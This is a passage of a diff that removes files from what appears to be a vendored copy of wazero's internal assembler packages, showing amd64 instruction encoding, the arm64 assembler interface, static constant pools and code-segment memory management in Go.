|
||||
}
|
||||
return a.encodeStaticConstImpl(buf, n, opc, rex, 0)
|
||||
}
|
||||
|
||||
var staticConstToRegisterOpcodes = [...]struct {
|
||||
opcode, vopcode []byte
|
||||
mandatoryPrefix, vmandatoryPrefix byte
|
||||
rex rexPrefix
|
||||
}{
|
||||
// https://www.felixcloutier.com/x86/movdqu:vmovdqu8:vmovdqu16:vmovdqu32:vmovdqu64
|
||||
MOVDQU: {mandatoryPrefix: 0xf3, opcode: []byte{0x0f, 0x6f}},
|
||||
// https://www.felixcloutier.com/x86/lea
|
||||
LEAQ: {opcode: []byte{0x8d}, rex: rexPrefixW},
|
||||
// https://www.felixcloutier.com/x86/movupd
|
||||
MOVUPD: {mandatoryPrefix: 0x66, opcode: []byte{0x0f, 0x10}},
|
||||
// https://www.felixcloutier.com/x86/mov
|
||||
MOVL: {opcode: []byte{0x8b}, vopcode: []byte{0x0f, 0x6e}, vmandatoryPrefix: 0x66},
|
||||
MOVQ: {opcode: []byte{0x8b}, rex: rexPrefixW, vopcode: []byte{0x0f, 0x7e}, vmandatoryPrefix: 0xf3},
|
||||
// https://www.felixcloutier.com/x86/ucomisd
|
||||
UCOMISD: {opcode: []byte{0x0f, 0x2e}, mandatoryPrefix: 0x66},
|
||||
// https://www.felixcloutier.com/x86/ucomiss
|
||||
UCOMISS: {opcode: []byte{0x0f, 0x2e}},
|
||||
// https://www.felixcloutier.com/x86/subss
|
||||
SUBSS: {opcode: []byte{0x0f, 0x5c}, mandatoryPrefix: 0xf3},
|
||||
// https://www.felixcloutier.com/x86/subsd
|
||||
SUBSD: {opcode: []byte{0x0f, 0x5c}, mandatoryPrefix: 0xf2},
|
||||
// https://www.felixcloutier.com/x86/cmp
|
||||
CMPL: {opcode: []byte{0x39}},
|
||||
CMPQ: {opcode: []byte{0x39}, rex: rexPrefixW},
|
||||
// https://www.felixcloutier.com/x86/add
|
||||
ADDL: {opcode: []byte{0x03}},
|
||||
ADDQ: {opcode: []byte{0x03}, rex: rexPrefixW},
|
||||
}
|
||||
|
||||
func (a *AssemblerImpl) encodeStaticConstToRegister(buf asm.Buffer, n *nodeImpl) (err error) {
|
||||
var opc []byte
|
||||
var rex, mandatoryPrefix byte
|
||||
info := staticConstToRegisterOpcodes[n.instruction]
|
||||
switch n.instruction {
|
||||
case MOVL, MOVQ:
|
||||
if isVectorRegister(n.dstReg) {
|
||||
opc, mandatoryPrefix = info.vopcode, info.vmandatoryPrefix
|
||||
break
|
||||
}
|
||||
fallthrough
|
||||
default:
|
||||
opc, rex, mandatoryPrefix = info.opcode, info.rex, info.mandatoryPrefix
|
||||
}
|
||||
return a.encodeStaticConstImpl(buf, n, opc, rex, mandatoryPrefix)
|
||||
}
|
||||
|
||||
// encodeStaticConstImpl encodes an instruction where mod:r/m points to the memory location of the static constant n.staticConst,
|
||||
// and the other operand is the register given at n.srcReg or n.dstReg.
|
||||
func (a *AssemblerImpl) encodeStaticConstImpl(buf asm.Buffer, n *nodeImpl, opcode []byte, rex rexPrefix, mandatoryPrefix byte) error {
|
||||
a.pool.AddConst(n.staticConst, uint64(buf.Len()))
|
||||
|
||||
var reg asm.Register
|
||||
if n.dstReg != asm.NilRegister {
|
||||
reg = n.dstReg
|
||||
} else {
|
||||
reg = n.srcReg
|
||||
}
|
||||
|
||||
reg3Bits, rexPrefix := register3bits(reg, registerSpecifierPositionModRMFieldReg)
|
||||
rexPrefix |= rex
|
||||
|
||||
base := buf.Len()
|
||||
code := buf.Append(len(opcode) + 7)[:0]
|
||||
|
||||
if mandatoryPrefix != 0 {
|
||||
code = append(code, mandatoryPrefix)
|
||||
}
|
||||
|
||||
if rexPrefix != rexPrefixNone {
|
||||
code = append(code, rexPrefix)
|
||||
}
|
||||
|
||||
code = append(code, opcode...)
|
||||
|
||||
// https://wiki.osdev.org/X86-64_Instruction_Encoding#32.2F64-bit_addressing
|
||||
modRM := 0b00_000_101 | // Indicate "[RIP + 32bit displacement]" encoding.
|
||||
(reg3Bits << 3) // Place the reg on ModRM:reg.
|
||||
code = append(code, modRM)
|
||||
|
||||
// Preserve 4 bytes for displacement which will be filled after we finalize the location.
|
||||
code = append(code, 0, 0, 0, 0)
|
||||
|
||||
if !n.staticConstReferrersAdded {
|
||||
a.staticConstReferrers = append(a.staticConstReferrers, staticConstReferrer{n: n, instLen: len(code)})
|
||||
n.staticConstReferrersAdded = true
|
||||
}
|
||||
|
||||
buf.Truncate(base + len(code))
|
||||
return nil
|
||||
}
|
||||
|
||||
// CompileStaticConstToRegister implements Assembler.CompileStaticConstToRegister.
|
||||
func (a *AssemblerImpl) CompileStaticConstToRegister(instruction asm.Instruction, c *asm.StaticConst, dstReg asm.Register) (err error) {
|
||||
if len(c.Raw)%2 != 0 {
|
||||
err = fmt.Errorf("the length of a static constant must be even but was %d", len(c.Raw))
|
||||
return
|
||||
}
|
||||
|
||||
n := a.newNode(instruction, operandTypesStaticConstToRegister)
|
||||
n.dstReg = dstReg
|
||||
n.staticConst = c
|
||||
return
|
||||
}
|
||||
|
||||
// CompileRegisterToStaticConst implements Assembler.CompileRegisterToStaticConst.
|
||||
func (a *AssemblerImpl) CompileRegisterToStaticConst(instruction asm.Instruction, srcReg asm.Register, c *asm.StaticConst) (err error) {
|
||||
if len(c.Raw)%2 != 0 {
|
||||
err = fmt.Errorf("the length of a static constant must be even but was %d", len(c.Raw))
|
||||
return
|
||||
}
|
||||
|
||||
n := a.newNode(instruction, operandTypesRegisterToStaticConst)
|
||||
n.srcReg = srcReg
|
||||
n.staticConst = c
|
||||
return
|
||||
}
|
||||
-115
@@ -1,115 +0,0 @@
|
||||
package arm64
|
||||
|
||||
import (
|
||||
"github.com/tetratelabs/wazero/internal/asm"
|
||||
)
|
||||
|
||||
// Assembler is the interface for arm64 specific assembler.
|
||||
type Assembler interface {
|
||||
asm.AssemblerBase
|
||||
|
||||
// CompileMemoryWithRegisterOffsetToRegister adds an instruction where source operand is the memory address
|
||||
// specified as `srcBaseReg + srcOffsetReg` and dst is the register `dstReg`.
|
||||
CompileMemoryWithRegisterOffsetToRegister(instruction asm.Instruction, srcBaseReg, srcOffsetReg, dstReg asm.Register)
|
||||
|
||||
// CompileRegisterToMemoryWithRegisterOffset adds an instruction where source operand is the register `srcReg`,
|
||||
// and the destination is the memory address specified as `dstBaseReg + dstOffsetReg`
|
||||
CompileRegisterToMemoryWithRegisterOffset(instruction asm.Instruction, srcReg, dstBaseReg, dstOffsetReg asm.Register)
|
||||
|
||||
// CompileTwoRegistersToRegister adds an instruction where source operands consists of two registers `src1` and `src2`,
|
||||
// and the destination is the register `dst`.
|
||||
CompileTwoRegistersToRegister(instruction asm.Instruction, src1, src2, dst asm.Register)
|
||||
|
||||
// CompileThreeRegistersToRegister adds an instruction where source operands consist of three registers
|
||||
// `src1`, `src2` and `src3`, and destination operands consist of `dst` register.
|
||||
CompileThreeRegistersToRegister(instruction asm.Instruction, src1, src2, src3, dst asm.Register)
|
||||
|
||||
// CompileTwoRegistersToNone adds an instruction where source operands consist of two registers `src1` and `src2`,
|
||||
// and destination operand is unspecified.
|
||||
CompileTwoRegistersToNone(instruction asm.Instruction, src1, src2 asm.Register)
|
||||
|
||||
// CompileRegisterAndConstToNone adds an instruction where source operands consist of one register `src` and
|
||||
// constant `srcConst`, and destination operand is unspecified.
|
||||
CompileRegisterAndConstToNone(instruction asm.Instruction, src asm.Register, srcConst asm.ConstantValue)
|
||||
|
||||
// CompileRegisterAndConstToRegister adds an instruction where source operands consist of one register `src` and
|
||||
// constant `srcConst`, and destination operand is a register `dst`.
|
||||
CompileRegisterAndConstToRegister(instruction asm.Instruction, src asm.Register, srcConst asm.ConstantValue, dst asm.Register)
|
||||
|
||||
// CompileLeftShiftedRegisterToRegister adds an instruction where source operand is the "left shifted register"
|
||||
// represented as `srcReg << shiftNum` and the destination is the register `dstReg`.
|
||||
CompileLeftShiftedRegisterToRegister(
|
||||
instruction asm.Instruction,
|
||||
shiftedSourceReg asm.Register,
|
||||
shiftNum asm.ConstantValue,
|
||||
srcReg, dstReg asm.Register,
|
||||
)
|
||||
|
||||
// CompileConditionalRegisterSet adds an instruction to set 1 on dstReg if the condition satisfies,
|
||||
// otherwise set 0.
|
||||
CompileConditionalRegisterSet(cond asm.ConditionalRegisterState, dstReg asm.Register)
|
||||
|
||||
// CompileMemoryToVectorRegister adds an instruction where source operands is the memory address specified by
|
||||
// `srcBaseReg+srcOffset` and the destination is `dstReg` vector register.
|
||||
CompileMemoryToVectorRegister(instruction asm.Instruction, srcBaseReg asm.Register, srcOffset asm.ConstantValue,
|
||||
dstReg asm.Register, arrangement VectorArrangement)
|
||||
|
||||
// CompileMemoryWithRegisterOffsetToVectorRegister is the same as CompileMemoryToVectorRegister except that the
|
||||
// offset is specified by the `srcOffsetRegister` register.
|
||||
CompileMemoryWithRegisterOffsetToVectorRegister(instruction asm.Instruction, srcBaseReg,
|
||||
srcOffsetRegister asm.Register, dstReg asm.Register, arrangement VectorArrangement)
|
||||
|
||||
// CompileVectorRegisterToMemory adds an instruction where source operand is `srcReg` vector register and the
|
||||
// destination is the memory address specified by `dstBaseReg+dstOffset`.
|
||||
CompileVectorRegisterToMemory(instruction asm.Instruction, srcReg, dstBaseReg asm.Register,
|
||||
dstOffset asm.ConstantValue, arrangement VectorArrangement)
|
||||
|
||||
// CompileVectorRegisterToMemoryWithRegisterOffset is the same as CompileVectorRegisterToMemory except that the
|
||||
// offset is specified by the `dstOffsetRegister` register.
|
||||
CompileVectorRegisterToMemoryWithRegisterOffset(instruction asm.Instruction, srcReg, dstBaseReg,
|
||||
dstOffsetRegister asm.Register, arrangement VectorArrangement)
|
||||
|
||||
// CompileRegisterToVectorRegister adds an instruction where source operand is `srcReg` general purpose register and
|
||||
// the destination is the `dstReg` vector register. The destination vector's arrangement and index of element can be
|
||||
// given by `arrangement` and `index`, but not all the instructions will use them.
|
||||
CompileRegisterToVectorRegister(instruction asm.Instruction, srcReg, dstReg asm.Register,
|
||||
arrangement VectorArrangement, index VectorIndex)
|
||||
|
||||
// CompileVectorRegisterToRegister adds an instruction where destination operand is `dstReg` general purpose register
|
||||
// and the source is the `srcReg` vector register. The source vector's arrangement and index of element can be
|
||||
// given by `arrangement` and `index`, but not all the instructions will use them.
|
||||
CompileVectorRegisterToRegister(instruction asm.Instruction, srcReg, dstReg asm.Register,
|
||||
arrangement VectorArrangement, index VectorIndex)
|
||||
|
||||
// CompileVectorRegisterToVectorRegister adds an instruction where both source and destination operands are vector
|
||||
// registers. The vector's arrangement can be specified `arrangement`, and the source and destination element's
|
||||
// index are given by `srcIndex` and `dstIndex` respectively, but not all the instructions will use them.
|
||||
CompileVectorRegisterToVectorRegister(instruction asm.Instruction, srcReg, dstReg asm.Register,
|
||||
arrangement VectorArrangement, srcIndex, dstIndex VectorIndex)
|
||||
|
||||
// CompileVectorRegisterToVectorRegisterWithConst is the same as CompileVectorRegisterToVectorRegister but the
|
||||
// additional constant can be provided.
|
||||
// For example, the const can be used to specify the shift amount for USHLL instruction.
|
||||
CompileVectorRegisterToVectorRegisterWithConst(instruction asm.Instruction, srcReg, dstReg asm.Register,
|
||||
arrangement VectorArrangement, c asm.ConstantValue)
|
||||
|
||||
// CompileStaticConstToRegister adds an instruction where the source operand is StaticConstant located in
|
||||
// the memory and the destination is the dstReg.
|
||||
CompileStaticConstToRegister(instruction asm.Instruction, c *asm.StaticConst, dstReg asm.Register)
|
||||
|
||||
// CompileStaticConstToVectorRegister adds an instruction where the source operand is StaticConstant located in
|
||||
// the memory and the destination is the dstReg.
|
||||
CompileStaticConstToVectorRegister(instruction asm.Instruction, c *asm.StaticConst, dstReg asm.Register,
|
||||
arrangement VectorArrangement)
|
||||
|
||||
// CompileTwoVectorRegistersToVectorRegister adds an instruction where source are two vectors and destination is one
|
||||
// vector. The vector's arrangement can be specified `arrangement`.
|
||||
CompileTwoVectorRegistersToVectorRegister(instruction asm.Instruction, srcReg, srcReg2, dstReg asm.Register,
|
||||
arrangement VectorArrangement)
|
||||
|
||||
// CompileTwoVectorRegistersToVectorRegisterWithConst is the same as CompileTwoVectorRegistersToVectorRegister except
|
||||
// that this also accept additional constant.
|
||||
// For example EXIT instruction needs the extraction target immediate as const.
|
||||
CompileTwoVectorRegistersToVectorRegisterWithConst(instruction asm.Instruction, srcReg, srcReg2, dstReg asm.Register,
|
||||
arrangement VectorArrangement, c asm.ConstantValue)
|
||||
}
|
||||
-1472
File diff suppressed because it is too large.
Load diff
-3898
File diff suppressed because it is too large.
Load diff
-209
@@ -1,209 +0,0 @@
|
||||
package asm
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
)
|
||||
|
||||
// Register represents architecture-specific registers.
|
||||
type Register byte
|
||||
|
||||
// NilRegister is the only architecture-independent register, and
|
||||
// can be used to indicate that no register is specified.
|
||||
const NilRegister Register = 0
|
||||
|
||||
// Instruction represents architecture-specific instructions.
|
||||
type Instruction uint16 // to accommodate the high cardinality of vector ops
|
||||
|
||||
// ConditionalRegisterState represents architecture-specific conditional
|
||||
// register's states.
|
||||
type ConditionalRegisterState byte
|
||||
|
||||
// ConditionalRegisterStateUnset is the only architecture-independent conditional state, and
|
||||
// can be used to indicate that no conditional state is specified.
|
||||
const ConditionalRegisterStateUnset ConditionalRegisterState = 0
|
||||
|
||||
// Node represents a node in the linked list of assembled operations.
|
||||
type Node interface {
|
||||
fmt.Stringer
|
||||
|
||||
// AssignJumpTarget assigns the given target node as the destination of
|
||||
// jump instruction for this Node.
|
||||
AssignJumpTarget(target Node)
|
||||
|
||||
// AssignDestinationConstant assigns the given constant as the destination
|
||||
// of the instruction for this node.
|
||||
AssignDestinationConstant(value ConstantValue)
|
||||
|
||||
// AssignSourceConstant assigns the given constant as the source
|
||||
// of the instruction for this node.
|
||||
AssignSourceConstant(value ConstantValue)
|
||||
|
||||
// OffsetInBinary returns the offset of this node in the assembled binary.
|
||||
OffsetInBinary() NodeOffsetInBinary
|
||||
}
|
||||
|
||||
// NodeOffsetInBinary represents an offset of this node in the final binary.
|
||||
type NodeOffsetInBinary = uint64
|
||||
|
||||
// ConstantValue represents a constant value used in an instruction.
|
||||
type ConstantValue = int64
|
||||
|
||||
// StaticConst represents an arbitrary constant bytes which are pooled and emitted by assembler into the binary.
|
||||
// These constants can be referenced by instructions.
|
||||
type StaticConst struct {
|
||||
// offsetFinalizedCallbacks holds callbacks which are called when .OffsetInBinary is finalized by assembler implementation.
|
||||
offsetFinalizedCallbacks []func(offsetOfConstInBinary uint64)
|
||||
|
||||
Raw []byte
|
||||
// OffsetInBinary is the offset of this static const in the result binary.
|
||||
OffsetInBinary uint64
|
||||
}
|
||||
|
||||
// NewStaticConst returns the pointer to the new NewStaticConst for given bytes.
|
||||
func NewStaticConst(raw []byte) *StaticConst {
|
||||
return &StaticConst{Raw: raw}
|
||||
}
|
||||
|
||||
// AddOffsetFinalizedCallback adds a callback into offsetFinalizedCallbacks.
|
||||
func (s *StaticConst) AddOffsetFinalizedCallback(cb func(offsetOfConstInBinary uint64)) {
|
||||
s.offsetFinalizedCallbacks = append(s.offsetFinalizedCallbacks, cb)
|
||||
}
|
||||
|
||||
// SetOffsetInBinary finalizes the offset of this StaticConst, and invokes callbacks.
|
||||
func (s *StaticConst) SetOffsetInBinary(offset uint64) {
|
||||
s.OffsetInBinary = offset
|
||||
for _, cb := range s.offsetFinalizedCallbacks {
|
||||
cb(offset)
|
||||
}
|
||||
}
|
||||
|
||||
// StaticConstPool holds a bulk of StaticConst which are yet to be emitted into the binary.
|
||||
type StaticConstPool struct {
|
||||
// addedConsts is used to deduplicate the consts to reduce the final size of binary.
|
||||
// Note: we can use map on .consts field and remove this field,
|
||||
// but we have the separate field for deduplication in order to have deterministic assembling behavior.
|
||||
addedConsts map[*StaticConst]struct{}
|
||||
|
||||
Consts []*StaticConst
|
||||
// FirstUseOffsetInBinary holds the offset of the first instruction which accesses this const pool .
|
||||
FirstUseOffsetInBinary NodeOffsetInBinary
|
||||
// PoolSizeInBytes is the current size of the pool in bytes.
|
||||
PoolSizeInBytes int
|
||||
}
|
||||
|
||||
func NewStaticConstPool() StaticConstPool {
|
||||
return StaticConstPool{addedConsts: map[*StaticConst]struct{}{}, FirstUseOffsetInBinary: math.MaxUint64}
|
||||
}
|
||||
|
||||
// Reset resets the *StaticConstPool for reuse.
|
||||
func (p *StaticConstPool) Reset() {
|
||||
for _, c := range p.Consts {
|
||||
delete(p.addedConsts, c)
|
||||
}
|
||||
// Reuse the slice to avoid re-allocations.
|
||||
p.Consts = p.Consts[:0]
|
||||
p.PoolSizeInBytes = 0
|
||||
p.FirstUseOffsetInBinary = math.MaxUint64
|
||||
}
|
||||
|
||||
// Empty returns true if StaticConstPool is empty.
|
||||
func (p *StaticConstPool) Empty() bool {
|
||||
return p.FirstUseOffsetInBinary == math.MaxUint64
|
||||
}
|
||||
|
||||
// AddConst adds a *StaticConst into the pool if it's not already added.
|
||||
func (p *StaticConstPool) AddConst(c *StaticConst, useOffset NodeOffsetInBinary) {
|
||||
if _, ok := p.addedConsts[c]; ok {
|
||||
return
|
||||
}
|
||||
|
||||
if p.Empty() {
|
||||
p.FirstUseOffsetInBinary = useOffset
|
||||
}
|
||||
|
||||
c.offsetFinalizedCallbacks = c.offsetFinalizedCallbacks[:0]
|
||||
|
||||
p.Consts = append(p.Consts, c)
|
||||
p.PoolSizeInBytes += len(c.Raw)
|
||||
p.addedConsts[c] = struct{}{}
|
||||
}
|
||||
|
||||
// AssemblerBase is the common interface for assemblers among multiple architectures.
|
||||
//
|
||||
// Note: some of them can be implemented in an arch-independent way, but not all can be
|
||||
// implemented as such. However, we intentionally put such arch-dependant methods here
|
||||
// in order to provide the common documentation interface.
|
||||
type AssemblerBase interface {
|
||||
// Reset resets the state of Assembler implementation and mark it ready for
|
||||
// the compilation of the new function compilation.
|
||||
Reset()
|
||||
|
||||
// Assemble produces the final binary for the assembled operations.
|
||||
Assemble(Buffer) error
|
||||
|
||||
// SetJumpTargetOnNext instructs the assembler that the next node must be
|
||||
// assigned to the given node's jump destination.
|
||||
SetJumpTargetOnNext(node Node)
|
||||
|
||||
// BuildJumpTable calculates the offsets between the first instruction `initialInstructions[0]`
|
||||
// and others (e.g. initialInstructions[3]), and wrote the calculated offsets into pre-allocated
|
||||
// `table` StaticConst in little endian.
|
||||
BuildJumpTable(table *StaticConst, initialInstructions []Node)
|
||||
|
||||
// AllocateNOP allocates Node for NOP instruction.
|
||||
AllocateNOP() Node
|
||||
|
||||
// Add appends the given `Node` in the assembled linked list.
|
||||
Add(Node)
|
||||
|
||||
// CompileStandAlone adds an instruction to take no arguments.
|
||||
CompileStandAlone(instruction Instruction) Node
|
||||
|
||||
// CompileConstToRegister adds an instruction where source operand is `value` as constant and destination is `destinationReg` register.
|
||||
CompileConstToRegister(instruction Instruction, value ConstantValue, destinationReg Register) Node
|
||||
|
||||
// CompileRegisterToRegister adds an instruction where source and destination operands are registers.
|
||||
CompileRegisterToRegister(instruction Instruction, from, to Register)
|
||||
|
||||
// CompileMemoryToRegister adds an instruction where source operands is the memory address specified by `sourceBaseReg+sourceOffsetConst`
|
||||
// and the destination is `destinationReg` register.
|
||||
CompileMemoryToRegister(
|
||||
instruction Instruction,
|
||||
sourceBaseReg Register,
|
||||
sourceOffsetConst ConstantValue,
|
||||
destinationReg Register,
|
||||
)
|
||||
|
||||
// CompileRegisterToMemory adds an instruction where source operand is `sourceRegister` register and the destination is the
|
||||
// memory address specified by `destinationBaseRegister+destinationOffsetConst`.
|
||||
CompileRegisterToMemory(
|
||||
instruction Instruction,
|
||||
sourceRegister Register,
|
||||
destinationBaseRegister Register,
|
||||
destinationOffsetConst ConstantValue,
|
||||
)
|
||||
|
||||
// CompileJump adds jump-type instruction and returns the corresponding Node in the assembled linked list.
|
||||
CompileJump(jmpInstruction Instruction) Node
|
||||
|
||||
// CompileJumpToRegister adds jump-type instruction whose destination is the memory address specified by `reg` register.
|
||||
CompileJumpToRegister(jmpInstruction Instruction, reg Register)
|
||||
|
||||
// CompileReadInstructionAddress adds an ADR instruction to set the absolute address of "target instruction"
|
||||
// into destinationRegister. "target instruction" is specified by beforeTargetInst argument and
|
||||
// the target is determined by "the instruction right after beforeTargetInst type".
|
||||
//
|
||||
// For example, if `beforeTargetInst == RET` and we have the instruction sequence like
|
||||
// `ADR -> X -> Y -> ... -> RET -> MOV`, then the `ADR` instruction emitted by this function set the absolute
|
||||
// address of `MOV` instruction into the destination register.
|
||||
CompileReadInstructionAddress(destinationRegister Register, beforeAcquisitionTargetInstruction Instruction)
|
||||
}
|
||||
|
||||
// JumpTableMaximumOffset represents the limit on the size of jump table in bytes.
|
||||
// When users try loading an extremely large WebAssembly binary which contains a br_table
|
||||
// statement with approximately 4294967296 (2^32) targets. Realistically speaking, that kind of binary
|
||||
// could result in more than ten gigabytes of native compiled code where we have to care about
|
||||
// huge stacks whose height might exceed 32-bit range, and such huge stack doesn't work with the
|
||||
// current implementation.
|
||||
const JumpTableMaximumOffset = math.MaxUint32
|
||||
-235
@@ -1,235 +0,0 @@
|
||||
package asm
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"unsafe"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
)
|
||||
|
||||
var zero [16]byte
|
||||
|
||||
// CodeSegment represents a memory mapped segment where native CPU instructions
|
||||
// are written.
|
||||
//
|
||||
// To construct code segments, the program must call Next to obtain a buffer
|
||||
// view capable of writing data at the end of the segment. Next must be called
|
||||
// before generating the code of a function because it aligns the next write on
|
||||
// 16 bytes.
|
||||
//
|
||||
// Instances of CodeSegment hold references to memory which is NOT managed by
|
||||
// the garbage collector and therefore must be released *manually* by calling
|
||||
// their Unmap method to prevent memory leaks.
|
||||
//
|
||||
// The zero value is a valid, empty code segment, equivalent to being
|
||||
// constructed by calling NewCodeSegment(nil).
|
||||
type CodeSegment struct {
|
||||
code []byte
|
||||
size int
|
||||
}
|
||||
|
||||
// NewCodeSegment constructs a CodeSegment value from a byte slice.
|
||||
//
|
||||
// No validation is made that the byte slice is a memory mapped region which can
|
||||
// be unmapped on Close.
|
||||
func NewCodeSegment(code []byte) *CodeSegment {
|
||||
return &CodeSegment{code: code, size: len(code)}
|
||||
}
|
||||
|
||||
// Map allocates a memory mapping of the given size to the code segment.
|
||||
//
|
||||
// Note that programs only need to use this method to initialize the code
|
||||
// segment to a specific content (e.g. when loading pre-compiled code from a
|
||||
// file), otherwise the backing memory mapping is allocated on demand when code
|
||||
// is written to the code segment via Buffers returned by calls to Next.
|
||||
//
|
||||
// The method errors is the segment is already backed by a memory mapping.
|
||||
func (seg *CodeSegment) Map(size int) error {
|
||||
if seg.code != nil {
|
||||
return fmt.Errorf("code segment already initialized to memory mapping of size %d", len(seg.code))
|
||||
}
|
||||
b, err := platform.MmapCodeSegment(size)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
seg.code = b
|
||||
seg.size = size
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close unmaps the underlying memory region held by the code segment, clearing
|
||||
// its state back to an empty code segment.
|
||||
//
|
||||
// The value is still usable after unmapping its memory, a new memory area can
|
||||
// be allocated by calling Map or writing to the segment.
|
||||
func (seg *CodeSegment) Unmap() error {
|
||||
if seg.code != nil {
|
||||
if err := platform.MunmapCodeSegment(seg.code[:cap(seg.code)]); err != nil {
|
||||
return err
|
||||
}
|
||||
seg.code = nil
|
||||
seg.size = 0
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Addr returns the address of the beginning of the code segment as a uintptr.
|
||||
func (seg *CodeSegment) Addr() uintptr {
|
||||
if len(seg.code) > 0 {
|
||||
return uintptr(unsafe.Pointer(&seg.code[0]))
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Size returns the size of code segment, which is less or equal to the length
|
||||
// of the byte slice returned by Len or Bytes.
|
||||
func (seg *CodeSegment) Size() uintptr {
|
||||
return uintptr(seg.size)
|
||||
}
|
||||
|
||||
// Len returns the length of the byte slice referencing the memory mapping of
|
||||
// the code segment.
|
||||
func (seg *CodeSegment) Len() int {
|
||||
return len(seg.code)
|
||||
}
|
||||
|
||||
// Bytes returns a byte slice to the memory mapping of the code segment.
|
||||
//
|
||||
// The returned slice remains valid until more bytes are written to a buffer
|
||||
// of the code segment, or Unmap is called.
|
||||
func (seg *CodeSegment) Bytes() []byte {
|
||||
return seg.code
|
||||
}
|
||||
|
||||
// Next returns a buffer pointed at the end of the code segment to support
|
||||
// writing more code instructions to it.
|
||||
//
|
||||
// Buffers are passed by value, but they hold a reference to the code segment
|
||||
// that they were created from.
|
||||
func (seg *CodeSegment) NextCodeSection() Buffer {
|
||||
// Align 16-bytes boundary.
|
||||
seg.AppendBytes(zero[:seg.size&15])
|
||||
return Buffer{CodeSegment: seg, off: seg.size}
|
||||
}
|
||||
|
||||
// Append appends n bytes to the code segment, returning a slice to the appended
|
||||
// memory region.
|
||||
//
|
||||
// The underlying code segment may be reallocated if it was too short to hold
|
||||
// n more bytes, which invalidates any addresses previously returned by calls
|
||||
// to Addr.
|
||||
func (seg *CodeSegment) Append(n int) []byte {
|
||||
seg.size += n
|
||||
if seg.size > len(seg.code) {
|
||||
seg.growToSize()
|
||||
}
|
||||
return seg.code[seg.size-n:]
|
||||
}
|
||||
|
||||
// AppendByte appends a single byte to the code segment.
|
||||
//
|
||||
// The underlying code segment may be reallocated if it was too short to hold
|
||||
// one more byte, which invalidates any addresses previously returned by calls
|
||||
// to Addr.
|
||||
func (seg *CodeSegment) AppendByte(b byte) {
|
||||
seg.size++
|
||||
if seg.size > len(seg.code) {
|
||||
seg.growToSize()
|
||||
}
|
||||
seg.code[seg.size-1] = b
|
||||
}
|
||||
|
||||
// AppendBytes appends a copy of b to the code segment.
|
||||
//
|
||||
// The underlying code segment may be reallocated if it was too short to hold
|
||||
// len(b) more bytes, which invalidates any addresses previously returned by
|
||||
// calls to Addr.
|
||||
func (seg *CodeSegment) AppendBytes(b []byte) {
|
||||
copy(seg.Append(len(b)), b)
|
||||
}
|
||||
|
||||
// AppendUint32 appends a 32 bits integer to the code segment.
|
||||
//
|
||||
// The underlying code segment may be reallocated if it was too short to hold
|
||||
// four more bytes, which invalidates any addresses previously returned by calls
|
||||
// to Addr.
|
||||
func (seg *CodeSegment) AppendUint32(u uint32) {
|
||||
seg.size += 4
|
||||
if seg.size > len(seg.code) {
|
||||
seg.growToSize()
|
||||
}
|
||||
// This can be replaced by an unsafe operation to assign the uint32, which
|
||||
// keeps the function cost below the inlining threshold. However, it did not
|
||||
// show any improvements in arm64 benchmarks so we retained this safer code.
|
||||
binary.LittleEndian.PutUint32(seg.code[seg.size-4:], u)
|
||||
}
|
||||
|
||||
// growMode grows the code segment so that another section can be added to it.
|
||||
//
|
||||
// The method is marked go:noinline so that it doesn't get inline in Append,
|
||||
// and AppendByte, which keeps the inlining score of those methods low enough
|
||||
// that they can be inlined at the call sites.
|
||||
//
|
||||
//go:noinline
|
||||
func (seg *CodeSegment) growToSize() {
|
||||
seg.Grow(0)
|
||||
}
|
||||
|
||||
// Grow ensure that the capacity of the code segment is large enough to hold n
|
||||
// more bytes.
|
||||
//
|
||||
// The underlying code segment may be reallocated if it was too short, which
|
||||
// invalidates any addresses previously returned by calls to Addr.
|
||||
func (seg *CodeSegment) Grow(n int) {
|
||||
size := len(seg.code)
|
||||
want := seg.size + n
|
||||
if size >= want {
|
||||
return
|
||||
}
|
||||
if size == 0 {
|
||||
size = 65536
|
||||
}
|
||||
for size < want {
|
||||
size *= 2
|
||||
}
|
||||
b, err := platform.RemapCodeSegment(seg.code, size)
|
||||
if err != nil {
|
||||
// The only reason for growing the buffer to error is if we run
|
||||
// out of memory, so panic for now as it greatly simplifies error
|
||||
// handling to assume writing to the buffer would never fail.
|
||||
panic(err)
|
||||
}
|
||||
seg.code = b
|
||||
}
|
||||
|
||||
// Buffer is a reference type representing a section beginning at the end of a
|
||||
// code segment where new instructions can be written.
|
||||
type Buffer struct {
|
||||
*CodeSegment
|
||||
off int
|
||||
}
|
||||
|
||||
func (buf Buffer) Cap() int {
|
||||
return len(buf.code) - buf.off
|
||||
}
|
||||
|
||||
func (buf Buffer) Len() int {
|
||||
return buf.size - buf.off
|
||||
}
|
||||
|
||||
func (buf Buffer) Bytes() []byte {
|
||||
return buf.code[buf.off:buf.size:buf.size]
|
||||
}
|
||||
|
||||
func (buf Buffer) Reset() {
|
||||
buf.size = buf.off
|
||||
}
|
||||
|
||||
func (buf Buffer) Truncate(n int) {
|
||||
buf.size = buf.off + n
|
||||
}
|
||||
|
||||
func (buf Buffer) Append4Bytes(a, b, c, d byte) {
|
||||
buf.AppendUint32(uint32(a) | uint32(b)<<8 | uint32(c)<<16 | uint32(d)<<24)
|
||||
}
|
||||
-59
@@ -1,59 +0,0 @@
|
||||
package asm
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// BaseAssemblerImpl includes code common to all architectures.
|
||||
//
|
||||
// Note: When possible, add code here instead of in architecture-specific files to reduce drift:
|
||||
// As this is internal, exporting symbols only to reduce duplication is ok.
|
||||
type BaseAssemblerImpl struct {
|
||||
// SetBranchTargetOnNextNodes holds branch kind instructions (BR, conditional BR, etc.)
|
||||
// where we want to set the next coming instruction as the destination of these BR instructions.
|
||||
SetBranchTargetOnNextNodes []Node
|
||||
|
||||
// JumpTableEntries holds the information to build jump tables.
|
||||
JumpTableEntries []JumpTableEntry
|
||||
}
|
||||
|
||||
// JumpTableEntry is the necessary data to build a jump table.
|
||||
// This is exported for testing purpose.
|
||||
type JumpTableEntry struct {
|
||||
t *StaticConst
